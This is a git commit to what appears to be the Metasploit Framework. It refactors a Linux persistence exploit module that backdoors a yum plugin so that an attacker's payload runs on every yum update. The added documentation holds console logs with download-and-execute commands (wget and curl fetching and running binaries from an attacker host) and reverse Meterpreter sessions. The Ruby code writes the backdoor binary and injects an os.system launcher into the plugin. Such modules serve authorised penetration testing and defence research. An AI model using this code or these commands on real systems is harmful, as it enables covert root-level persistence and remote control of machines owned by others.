update yum to persistence module

h00die · h00die · commit 15f4abd1b2f5 · 2025-09-18T15:36:44.000-04:00
diff --git a/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md b/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md
diff --git a/documentation/modules/exploit/linux/persistence/yum_package_manager.md b/documentation/modules/exploit/linux/persistence/yum_package_manager.md
@@ -0,0 +1,112 @@
+## Description
+
+This module will run a payload when the package manager is used.
+This module modifies a yum plugin to launch a binary of choice.
+`grep -F 'enabled=1' /etc/yum/pluginconf.d/`
+will show what plugins are currently enabled on the system.
+
+root persmissions are likely required.
+
+Verified on Centos 7.1
+
+## Verification Steps
+
+1. Exploit a box that uses Yum
+2. `use exploit/linux/persistence/yum_package_manager`
+3. `set SESSION <id>`
+4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
+5. `exploit`
+
+When the system runs yum update the payload will launch.  You must set handler accordingly.
+
+## Options
+
+### PAYLOAD_NAME
+
+Name of backdoor executable
+
+### PLUGIN
+
+Name of the yum plugin to target
+
+### PluginPath
+
+Plugin path to use default is (`/usr/lib/yum-plugins/`)
+
+## Scenarios
+
+### Tested on Centos 7.1
+
+Initial access vector via web delivery
+
+```
+resource (/root/.msf4/msfconsole.rc)> setg verbose true
+verbose => true
+resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
+lhost => 111.111.1.111
+resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
+[*] Using configured payload python/meterpreter/reverse_tcp
+resource (/root/.msf4/msfconsole.rc)> set srvport 8181
+srvport => 8181
+resource (/root/.msf4/msfconsole.rc)> set target 7
+target => 7
+resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+resource (/root/.msf4/msfconsole.rc)> set lport 4545
+lport => 4545
+resource (/root/.msf4/msfconsole.rc)> set URIPATH l
+URIPATH => l
+resource (/root/.msf4/msfconsole.rc)> run
+[*] Exploit running as background job 0.
+[*] Exploit completed, but no session was created.
+[*] Starting persistent handler(s)...
+[*] Started reverse TCP handler on 111.111.1.111:4545 
+[*] Using URL: http://111.111.1.111:8181/l
+[*] Server started.
+[*] Run the following command on the target machine:
+wget -qO KOiqZchh --no-check-certificate http://111.111.1.111:8181/l; chmod +x KOiqZchh; ./KOiqZchh& disown
+[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > 
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 192.168.2.100
+[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 192.168.2.100:34470) at 2025-02-16 11:30:09 -0500
+[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/yum_package_manager 
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+[msf](Jobs:2 Agents:2) exploit(linux/persistence/yum_package_manager) > sessions -i 1
+[*] Starting interaction with 1...
+(Meterpreter 1)(/home/centos) > getuid
+Server username: root
+(Meterpreter 1)(/home/centos) > sysinfo
+Computer     : centos71.localdomain
+OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+(Meterpreter 1)(/home/centos) > background
+[*] Backgrounding session 1...
+```
+
+Persistence
+
+```
+[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > set session 1
+session => 1
+[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > exploit
+[*] Command to run on remote host: curl -so ./lgtOaZox http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./lgtOaZox;./lgtOaZox&
+[*] Exploit running as background job 1.
+[*] Exploit completed, but no session was created.
+[msf](Jobs:2 Agents:1) exploit(linux/persistence/yum_package_manager) > 
+[*] Fetch handler listening on 111.111.1.111:8080
+[*] HTTP server started
+[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
+[*] Started reverse TCP handler on 111.111.1.111:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 222.222.2.222
+[+] Plugins are enabled!
+[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53880) at 2025-02-16 11:30:59 -0500
+[!] The service is running, but could not be validated. yum installed and plugin found, enabled, and backdoorable
+[*] Attempting to modify plugin
+[*] Backdoor uploaded to /tmp/7EtplboZD
+[+] Backdoor will run on next Yum update
+[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/centos71.localdomain_20250216.3101/centos71.localdomain_20250216.3101.rc
+```
diff --git a/modules/exploits/linux/persistence/yum_package_manager.rb b/modules/exploits/linux/persistence/yum_package_manager.rb
@@ -5,22 +5,28 @@
 
 class MetasploitModule < Msf::Exploit::Local
   Rank = ExcellentRanking
+
   include Msf::Exploit::EXE
   include Msf::Exploit::FileDropper
   include Msf::Post::File
   include Msf::Post::Linux::System
+  include Msf::Exploit::Local::Persistence
+  prepend Msf::Exploit::Remote::AutoCheck
+  include Msf::Exploit::Deprecated
+  moved_from 'exploits/linux/local/yum_package_manager_persistence'
 
   def initialize(info = {})
     super(
       update_info(
         info,
         'Name' => 'Yum Package Manager Persistence',
         'Description' => %q{
-          This module will run a payload when the package manager is used. No
-          handler is ran automatically so you must configure an appropriate
-          exploit/multi/handler to connect. Module modifies a yum plugin to
-          launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
+          This module will run a payload when the package manager is used.
+          This module modifies a yum plugin to launch a binary of choice.
+          grep -F 'enabled=1' /etc/yum/pluginconf.d/
           will show what plugins are currently enabled on the system.
+          root persmissions are likely required.
+          Verified on Centos 7.1
         },
         'License' => MSF_LICENSE,
         'Author' => ['Aaron Ringo'],
@@ -36,27 +42,24 @@ def initialize(info = {})
           ARCH_MIPSBE
         ],
         'SessionTypes' => ['shell', 'meterpreter'],
-        'DefaultOptions' => {
-          'WfsDelay' => 0, 'DisablePayloadHandler' => true,
-          'Payload' => 'cmd/unix/reverse_python'
-        },
         'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
         'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
         'Targets' => [['Automatic', {}]],
         'DefaultTarget' => 0,
+        'Privileged' => true,
         'Notes' => {
-          'Reliability' => UNKNOWN_RELIABILITY,
-          'Stability' => UNKNOWN_STABILITY,
-          'SideEffects' => UNKNOWN_SIDE_EFFECTS
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
+          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
         }
       )
     )
 
     register_options(
       [
         # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
-        OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),
-        OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
+        OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
+        OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
       ]
     )
 
@@ -68,53 +71,57 @@ def initialize(info = {})
     )
   end
 
-  def exploit
+  def check
+    return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
+    return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
+
     # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
     plugin = datastore['PLUGIN']
-    full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
-    print_status(full_plugin_path)
-    unless writable? full_plugin_path
-      fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
-    end
+    full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
+    return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
+    return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
+    return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
+    return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'
 
     # /etc/yum.conf must contain plugins=1 for plugins to run at all
     plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
-    unless plugins_enabled.include? 'plugins=1'
-      fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
-    end
-    print_good('Plugins are enabled!')
+    return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'
+
+    vprint_good('Plugins are enabled!')
 
     # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
-    plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
+    plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
     plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
     unless plugin_enabled.include? 'enabled=1'
-      print_bad("#{plugin_conf} plugin is not configured to run")
-      fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
-    end
-
-    # plugins are made in python and generate pycs on successful execution
-    unless exist? "#{full_plugin_path}c"
-      print_warning('Either Yum has never been executed, or the selected plugin has not run')
-    end
-
-    # check for write in backdoor path and set/generate backdoor name
-    backdoor_path = datastore['WritableDir']
-    unless writable? backdoor_path
-      fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
+      return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
     end
-    backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
-    backdoor_path << backdoor_name
 
     # check that the plugin contains an import os, to backdoor
     import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
     unless import_os_check.include? 'import os'
-      fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
+      return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
     end
 
+    CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
+  end
+
+  def install_persistence
+    plugin = datastore['PLUGIN']
+    full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"
+
+    # plugins are made in python and generate pycs on successful execution
+    print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"
+
+    # check for write in backdoor path and set/generate backdoor name
+    payload_path = datastore['WritableDir']
+    payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
+    payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
+    payload_path << payload_name
+
     # check for sed binary and then append launcher to plugin underneath
     print_status('Attempting to modify plugin')
-    launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
-    sed_path = cmd_exec "command -v sed"
+    launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
+    sed_path = cmd_exec 'command -v sed'
     unless sed_path.include?('sed')
       fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
     end
@@ -123,17 +130,18 @@ def exploit
 
     # actually write users payload to be executed then check for write
     if payload.arch.first == 'cmd'
-      write_file(backdoor_path, payload.encoded)
+      write_file(payload_path, payload.encoded)
     else
-      write_file(backdoor_path, generate_payload_exe)
+      write_file(payload_path, generate_payload_exe)
     end
-    unless exist? backdoor_path
-      fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
+    @clean_up_rc << "rm #{payload_path}\n"
+    unless exist? payload_path
+      fail_with Failure::Unknown, "Failed to write #{payload_path}"
     end
 
     # change perms to reflect bins in /usr/local/bin/, give good feels
-    chmod(backdoor_path, 0755)
-    print_status("Backdoor uploaded to #{backdoor_path}")
-    print_status('Backdoor will run on next Yum update')
+    chmod(payload_path, 0o755)
+    print_status("Backdoor uploaded to #{payload_path}")
+    print_good('Backdoor will run on next Yum update')
   end
 end
